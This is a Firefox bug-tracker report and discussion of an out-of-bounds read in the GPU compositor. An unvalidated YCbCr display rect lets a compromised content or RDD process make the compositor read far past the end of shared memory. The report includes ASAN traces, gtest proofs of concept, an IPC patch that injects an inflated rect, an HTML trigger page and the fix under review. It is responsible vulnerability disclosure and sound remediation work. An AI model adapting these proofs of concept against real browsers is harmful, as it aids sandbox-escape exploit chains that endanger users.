YCbCr Display Rect OOB Read in Compositor
Categories
(Core :: Graphics, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: chunmin)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])
Attachments
(2 external files)
Compromised content process -> compositor/GPU process via PImageBridge video texture IPC.
The YCbCrDescriptor's display rect is used as the row count for YCbCr-to-RGB conversion, but it's never validated against the actual plane buffer sizes. A content process can send a texture descriptor claiming thousands of rows while only providing a few bytes of actual data, causing the compositor to read megabytes past the shmem allocation.
The validation gap is in TextureHost.cpp:278-283:
reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
ycbcr.ySize(), ycbcr.yStride(), ycbcr.cbCrSize(),
ycbcr.cbCrStride(), ycbcr.yOffset(), ycbcr.cbOffset(),
ycbcr.crOffset());
ComputeYCbCrBufferSize validates that the shmem can hold the Y/Cb/Cr planes based on ySize/cbCrSize, but the display parameter is never passed in and never checked against these values.
When rendering happens, ConvertYCbCrToRGB at gfx/ycbcr/YCbCrUtils.cpp:271-278 uses mPictureRect (set from display) as the loop bounds:
return ConvertYCbCrToRGB32(aData.mYChannel, aData.mCbChannel, aData.mCrChannel,
aDestBuffer,
aData.mPictureRect.x, aData.mPictureRect.y,
aData.mPictureRect.width, // loop bound
aData.mPictureRect.height, // loop bound - no validation against buffer!
aData.mYStride, aData.mCbCrStride, ...);
Setting display.height >> ySize.height causes the libyuv conversion routines to read past the Y/Cb/Cr plane buffers.
ASAN Proof
Tested on mozilla-central with --enable-address-sanitizer:
==58157==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0003115583f4 bp 0x00016fd8c8c0 sp 0x00016fd8c850 T0)
==58157==The signal is caused by a READ memory access.
==58157==Hint: this fault was caused by a dereference of a high value address (see register values below).
#0 0x0003115583f4 in I422ToARGBRow_NEON+0x10 (XUL:arm64+0x115583f4)
#1 0x000305f86820 in mozilla::gfx::ConvertYCbCrToRGB32(...)+0x404 (XUL:arm64+0x5f86820)
#2 0x000305f822bc in mozilla::gfx::ConvertYCbCrToRGB(mozilla::layers::PlanarYCbCrData const&, ...)+0x19c (XUL:arm64+0x5f822bc)
==58157==Register values:
x[0] = 0x00006060007c0000 x[1] = 0x00006030005f1ea0 x[2] = 0x00006030005f1ed0
SIGBUS instead of heap-buffer-overflow because the hot loop is hand-written NEON assembly (I422ToARGBRow_NEON) that ASAN can't instrument. The OOB read is so large that it blows past the shmem mapping into unmapped pages, so the hardware traps before ASAN's shadow memory gets a chance to fire. On a non-ASAN release build this would silently read whatever's mapped after the shmem.
The crash is in the real compositor rendering path: I422ToARGBRow_NEON <- ConvertYCbCrToRGB32 <- ConvertYCbCrToRGB.
PoC
gfx/tests/gtest/TestYCbCrDisplayOOBRead.cpp:
#include "gtest/gtest.h"
#include "ImageContainer.h"
#include "YCbCrUtils.h"
#include "mozilla/gfx/Types.h"
#include "mozilla/UniquePtr.h"
using namespace mozilla;
using namespace mozilla::gfx;
TEST(YCbCrDisplay, OOBReadViaLargePictureRect)
{
const int32_t width = 64;
const int32_t actualHeight = 1;
const int32_t claimedHeight = 128;
const int32_t yStride = width;
const int32_t cbCrWidth = width / 2;
const int32_t cbCrHeight = 1;
const int32_t cbCrStride = cbCrWidth;
const size_t yBufSize = yStride * actualHeight;
const size_t cbBufSize = cbCrStride * cbCrHeight;
const size_t crBufSize = cbCrStride * cbCrHeight;
UniquePtr<uint8_t[]> yBuf(new uint8_t[yBufSize]);
UniquePtr<uint8_t[]> cbBuf(new uint8_t[cbBufSize]);
UniquePtr<uint8_t[]> crBuf(new uint8_t[crBufSize]);
memset(yBuf.get(), 128, yBufSize);
memset(cbBuf.get(), 128, cbBufSize);
memset(crBuf.get(), 128, crBufSize);
layers::PlanarYCbCrData data;
data.mYChannel = yBuf.get();
data.mYStride = yStride;
data.mYSkip = 0;
data.mCbChannel = cbBuf.get();
data.mCrChannel = crBuf.get();
data.mCbCrStride = cbCrStride;
data.mCbSkip = 0;
data.mCrSkip = 0;
data.mColorDepth = gfx::ColorDepth::COLOR_8;
data.mYUVColorSpace = gfx::YUVColorSpace::BT601;
data.mColorRange = gfx::ColorRange::LIMITED;
data.mChromaSubsampling = gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;
// THE VULNERABILITY: mPictureRect claims 128 rows, buffer has 1 row
data.mPictureRect = gfx::IntRect(0, 0, width, claimedHeight);
const int32_t destStride = width * 4;
const size_t destSize = destStride * claimedHeight;
UniquePtr<uint8_t[]> destBuf(new uint8_t[destSize]);
// ASAN: heap-buffer-overflow READ (or SIGBUS on arm64 NEON)
nsresult rv = gfx::ConvertYCbCrToRGB(
data, gfx::SurfaceFormat::B8G8R8X8,
gfx::IntSize(width, claimedHeight),
destBuf.get(), destStride);
(void)rv;
}
TEST(YCbCrDisplay, OOBReadMassive)
{
const int32_t width = 64;
const int32_t actualHeight = 1;
const int32_t claimedHeight = 4096;
const int32_t yStride = width;
const int32_t cbCrStride = width / 2;
const size_t yBufSize = yStride * actualHeight;
const size_t cbBufSize = cbCrStride * actualHeight;
UniquePtr<uint8_t[]> yBuf(new uint8_t[yBufSize]);
UniquePtr<uint8_t[]> cbBuf(new uint8_t[cbBufSize]);
UniquePtr<uint8_t[]> crBuf(new uint8_t[cbBufSize]);
memset(yBuf.get(), 128, yBufSize);
memset(cbBuf.get(), 128, cbBufSize);
memset(crBuf.get(), 128, cbBufSize);
layers::PlanarYCbCrData data;
data.mYChannel = yBuf.get();
data.mYStride = yStride;
data.mYSkip = 0;
data.mCbChannel = cbBuf.get();
data.mCrChannel = crBuf.get();
data.mCbCrStride = cbCrStride;
data.mCbSkip = 0;
data.mCrSkip = 0;
data.mColorDepth = gfx::ColorDepth::COLOR_8;
data.mYUVColorSpace = gfx::YUVColorSpace::BT601;
data.mColorRange = gfx::ColorRange::LIMITED;
data.mChromaSubsampling = gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;
// 4096 rows from 1-row buffer: reads ~256KB past allocation
data.mPictureRect = gfx::IntRect(0, 0, width, claimedHeight);
const int32_t destStride = width * 4;
const size_t destSize = destStride * claimedHeight;
UniquePtr<uint8_t[]> destBuf(new uint8_t[destSize]);
// ASAN: heap-buffer-overflow READ of ~262080 bytes past allocation
nsresult rv = gfx::ConvertYCbCrToRGB(
data, gfx::SurfaceFormat::B8G8R8X8,
gfx::IntSize(width, claimedHeight),
destBuf.get(), destStride);
(void)rv;
}
Run: ./mach gtest "YCbCrDisplay.*OOB*"
Attack Path
- Compromised content process creates a video texture via PImageBridge
- Sends SurfaceDescriptorBuffer with YCbCrDescriptor:
- ySize = {4096, 1}, yStride = 4096 (just 1 row)
- display = {0, 0, 4096, 4096} (claims 4096 rows)
- Shmem sized for actual plane data (~8KB)
- CreateBackendIndependentTextureHost validates shmem fits ySize planes - passes
- display is never validated against ySize
- Rendering path calls ConvertYCbCrToRGB with mPictureRect.height=4096
- Reads 4096 rows from a 1-row buffer - OOB read of ~16MB
Fix
Validate display against ySize in CreateBackendIndependentTextureHost:
case BufferDescriptor::TYCbCrDescriptor: {
const YCbCrDescriptor& ycbcr = desc.get_YCbCrDescriptor();
gfx::IntRect display = ycbcr.display();
if (display.XMost() > ycbcr.ySize().width ||
display.YMost() > ycbcr.ySize().height) {
return nullptr;
}
// ... existing validation ...
}
Comment 1•9 months ago
|
||
(There's some overlap with bug 2014857 here.)
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
| Reporter | ||
Comment 3•9 months ago
|
||
Here's the IPC patch and HTML PoC for this bug.
The patch targets BufferTextureData::CreateForYCbCr in BufferTexture.cpp:156, which is where the RDD process creates YCbCr textures for decoded video frames before sending them to the GPU process via PImageBridge. It overrides aDisplay to extend 200 rows beyond aYSize.height while leaving the shmem allocation sized for aYSize. The GPU process validates shmem against ySize (passes), then WebRender's TextureUploader::upload reads display.height rows from a Y buffer that only has ySize.height rows.
IPC Patch
Apply with git apply:
diff --git a/gfx/layers/BufferTexture.cpp b/gfx/layers/BufferTexture.cpp
index 822e5729fcd0..ffccf54ed14d 100644
--- a/gfx/layers/BufferTexture.cpp
+++ b/gfx/layers/BufferTexture.cpp
@@ -9,6 +9,7 @@
#include <utility>
#include "libyuv.h"
+#include "nsXULAppAPI.h"
#include "mozilla/fallible.h"
#include "mozilla/gfx/2D.h"
#include "mozilla/gfx/Logging.h"
@@ -159,6 +160,15 @@ BufferTextureData* BufferTextureData::CreateForYCbCr(
gfx::ColorDepth aColorDepth, gfx::YUVColorSpace aYUVColorSpace,
gfx::ColorRange aColorRange, gfx::ChromaSubsampling aSubsampling,
TextureFlags aTextureFlags) {
+
+ // PoC: in the RDD/content process, inflate the display rect beyond ySize.
+ // Shmem is allocated for ySize; the descriptor carries a larger display rect.
+ // The GPU process uploads display.height rows from a ySize.height-row buffer.
+ gfx::IntRect display = aDisplay;
+ if (!XRE_IsParentProcess()) {
+ display = gfx::IntRect(0, 0, aYSize.width, aYSize.height + 200);
+ }
+
uint32_t bufSize = ImageDataSerializer::ComputeYCbCrBufferSize(
aYSize, aYStride, aCbCrSize, aCbCrStride);
if (bufSize == 0) {
@@ -173,7 +183,7 @@ BufferTextureData* BufferTextureData::CreateForYCbCr(
crOffset);
YCbCrDescriptor descriptor =
- YCbCrDescriptor(aDisplay, aYSize, aYStride, aCbCrSize, aCbCrStride,
+ YCbCrDescriptor(display, aYSize, aYStride, aCbCrSize, aCbCrStride,
yOffset, cbOffset, crOffset, aStereoMode, aColorDepth,
aYUVColorSpace, aColorRange, aSubsampling);
HTML PoC
Creates a 64x64 VP8 video via canvas capture, plays it. The RDD process decodes the frames and hits the patched CreateForYCbCr, injecting the oversized display rect. The GPU process crashes on the WebRender render thread when uploading the texture.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>YCbCr Display Rect OOB Read - IPC PoC</title>
</head>
<body>
<video id="v" width="320" height="240" autoplay muted loop></video>
<canvas id="c" width="320" height="240"></canvas>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) {
log.textContent += s + '\n';
console.log('[PoC] ' + s);
}
msg('YCbCr Display Rect OOB Read');
msg('RDD -> GPU process via PImageBridge');
const video = document.getElementById('v');
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
async function run() {
msg('Creating test video via canvas capture...');
const srcCanvas = document.createElement('canvas');
srcCanvas.width = 64;
srcCanvas.height = 64;
const srcCtx = srcCanvas.getContext('2d');
const stream = srcCanvas.captureStream(30);
const recorder = new MediaRecorder(stream, { mimeType: 'video/webm' });
const chunks = [];
recorder.ondataavailable = (e) => chunks.push(e.data);
const stopped = new Promise(resolve => {
recorder.onstop = () => {
const blob = new Blob(chunks, { type: 'video/webm' });
resolve(blob);
};
});
recorder.start();
for (let i = 0; i < 30; i++) {
srcCtx.fillStyle = `hsl(${i * 12}, 80%, 50%)`;
srcCtx.fillRect(0, 0, 64, 64);
srcCtx.fillStyle = 'white';
srcCtx.font = '16px monospace';
srcCtx.fillText('F' + i, 20, 40);
await new Promise(r => setTimeout(r, 33));
}
recorder.stop();
const blob = await stopped;
msg('Video created (' + blob.size + ' bytes)');
video.src = URL.createObjectURL(blob);
try {
await video.play();
msg('Video playing. GPU process uploading YCbCr textures.');
msg('Patch sets display.height = ySize.height + 200');
for (let i = 0; i < 10; i++) {
await new Promise(r => setTimeout(r, 100));
ctx.drawImage(video, 0, 0);
}
msg('Check ASan output for heap-buffer-overflow READ');
} catch (e) {
msg('Playback error: ' + e.message);
}
}
run();
</script>
</body>
</html>
Steps to reproduce
git apply pocs/ycbcr_display_oob_ipc.patch./mach buildpython3 -m http.server 8766 --directory pocs/./mach run -- http://localhost:8766/ycbcr_display_oob_ipc.html- GPU process hits heap-buffer-overflow when uploading the video texture
ASan output
==66280==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x00011cac0000 at pc 0x000103984d50 bp 0x00016e11b8c0 sp 0x00016e11b070
READ of size 64 at 0x00011cac0000 thread T9
SCARINESS: 26 (multi-byte-read-heap-buffer-overflow)
#0 memcpy+0x480
#1 webrender::device::gl::TextureUploader::upload+0x3cc
#2 webrender::renderer::upload::upload_to_texture_cache+0x1044
#3 webrender::renderer::Renderer::update_texture_cache+0x8b4
#4 webrender::renderer::Renderer::render_impl+0x6b8
#5 webrender::renderer::Renderer::render+0xec
#6 wr_renderer_render+0x34
#7 mozilla::wr::RendererOGL::UpdateAndRender+0x490
#8 mozilla::wr::RenderThread::UpdateAndRender+0x5ac
SUMMARY: AddressSanitizer: heap-buffer-overflow in webrender::device::gl::TextureUploader::upload
| Assignee | ||
Comment 4•8 months ago
|
||
| Assignee | ||
Comment 5•8 months ago
|
||
| Assignee | ||
Comment 7•8 months ago
|
||
Comment on attachment 9545993 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Moderate. The patch adds checks that the display rect fits within Y and CbCr plane dimensions before proceeding with buffer operations. Someone familiar with YCbCr/YUV image processing could infer that mismatched display/plane dimensions lead to out-of-bounds access, but exploiting this requires understanding the texture host IPC pipeline and crafting a valid-looking SurfaceDescriptor that passes all other existing checks.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: ll supported branches.
- If not all supported branches, which bug introduced the flaw?: N/A
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Backports are not yet prepared. The fix adds new validation checks at the top of an existing code path without modifying existing logic. The code structure in CreateBackendIndependentTextureHost has been stable across branches, so backports should be straightforward with low risk.
- How likely is this patch to cause regressions; how much testing does it need?: Low. The patch only adds early-return validation checks for invalid descriptors. Valid YCbCr descriptors (where display rect fits within plane dimensions) are completely unaffected. New gtests cover both rejection cases. Standard CI testing should be sufficient.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Updated•8 months ago
|
Updated•8 months ago
|
Comment 8•8 months ago
|
||
Comment on attachment 9545993 [details]
(secure)
sec-approval+ to land and request uplifts. Please don't land the test until several weeks after we have shipped the fix, 2026-04-15 or later
Updated•8 months ago
|
Updated•8 months ago
|
Comment 10•8 months ago
|
||
Comment 11•8 months ago
|
||
Since nightly and release are affected, beta will likely be affected too.
For more information, please visit BugBot documentation.
Comment 12•8 months ago
|
||
The patch landed in nightly and beta is affected.
:chunmin, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox149towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 13•8 months ago
|
||
This is a hypothetical situation, so I don't think we need to uplift it. Additionally, if we need, the patch in bug 2018113 is a better option since it would fix multiple possible route at once.
| Assignee | ||
Updated•8 months ago
|
Comment 15•8 months ago
|
||
Take bugbot's suggestions with a GIANT grain of salt when it comes to security bugs. And if release managers or the security team has already set the tracking flag for a release please consult with them before wontfixing a bug. (I've requested that this bugbot rule be fixed)
This is a hypothetical situation
The hypothetical is "we have a security bug that can be turned into RCE in the content process". This is not hypothetical. Our own testing finds and fixes several of those every release, plus more reported to us by external researchers like Sajeeb here. We know others are looking who do NOT report them to us, instead turning them in to exploits like the hacking contest linked earlier and the thankfully rare 0-days.
New analysis tools have led to a new batch of security bug hunters finding previously undiscovered bugs. This bug was reported in the first few wave of reports from people using those tools so presumably it is low-hanging fruit and will be re-discovered multiple times -- and in fact this bug has two duplicates that we know about. We need to uplift this.
Comment 16•8 months ago
•
|
||
My patch in bug 2018113, which I plan to uplift to every branch that you'll let me, fixes this in a more general way. It moves the check that was added here just before calling ComputeYCbCrBufferSize, into ComputeYCbCrBufferSize so that all callers of that function benefit from the check. So, if it is acceptable to the security team, we can skip the uplift process here and just uplift my patch.
Of the collection of related bugs, bug 2014857, bug 2015268, bug 2016370, bug 2018103, bug 2018126, bug 2018113, bug 2020091, we need to uplift bug 2014857, bug 2018103, bug 2018113, bug 2020091.
According to the tracking flags, bug 2014857 has been uplifted to every affected branch.
Bug 2018103 has uplift to beta and esr140 flags pending.
Bug 2018113 is waiting on bug 2018103 to get uplifted.
Bug 2020091 is waiting for the above to get uplifted.
| Assignee | ||
Comment 17•8 months ago
|
||
For uplifting to older versions, as :tnikkel said, patches in bug 2018113 would be a better choice since it centralizes checks spread multiple places into one (Bug 2021178 may be a follow-up?).
Comment 18•8 months ago
|
||
(In reply to C.M.Chang[:chunmin][PTO or UTC+8] from comment #17)
For uplifting to older versions, as :tnikkel said, patches in bug 2018113 would be a better choice since it centralizes checks spread multiple places into one (Bug 2021178 may be a follow-up?).
Bug 2021178 is a refactoring cleanup and is not intended or needed for uplift.
Comment 19•8 months ago
|
||
(In reply to Timothy Nikkel (:tnikkel) from comment #16)
Of the collection of related bugs [...] we need to uplift bug 2014857, bug 2018103, bug 2018113, bug 2020091.
What about fixes for bug 2021592, a regression from bug 2018113?
Comment 20•8 months ago
|
||
My question above is relating to uplifts to 149 beta and ESR 140.9. I'm going to wontfix these for ESR-115 because they are sec-moderates that require a compromised process and ESR-115 is already missing a lot of hardening that has been implemented in the past two years.
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 21•7 months ago
|
||
2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2026-04-15] .
chunmin, please refer to the original comment to better understand the reason for the reminder.
Comment 22•6 months ago
|
||
Comment 23•6 months ago
|
||
Comment 24•6 months ago
|
||
ERROR - ./../../../../../checkouts/gecko/gfx/tests/gtest/TestTextures.cpp:305:19: error: no matching constructor for initialization of 'YCbCrDescriptor'
Comment 25•6 months ago
|
||
Comment 26•6 months ago
|
||
Comment 27•6 months ago
|
||
20:16:40 ERROR - ./../../../../../checkouts/gecko/gfx/tests/gtest/TestTextures.cpp:426:21: error: no matching constructor for initialization of 'YCbCrDescriptor'
71059 20:16:40 ERROR - ./../../../../../checkouts/gecko/gfx/tests/gtest/TestTextures.cpp:470:21: error: no matching constructor for initialization of 'YCbCrDescriptor'
| Assignee | ||
Comment 28•6 months ago
•
|
||
YCbCrDescriptor was updated again yesterday. I've updated the ctor interface again and run on try here
Comment 29•6 months ago
|
||
Comment 30•6 months ago
|
||
Updated•6 months ago
|
Updated•3 months ago
|
Description
•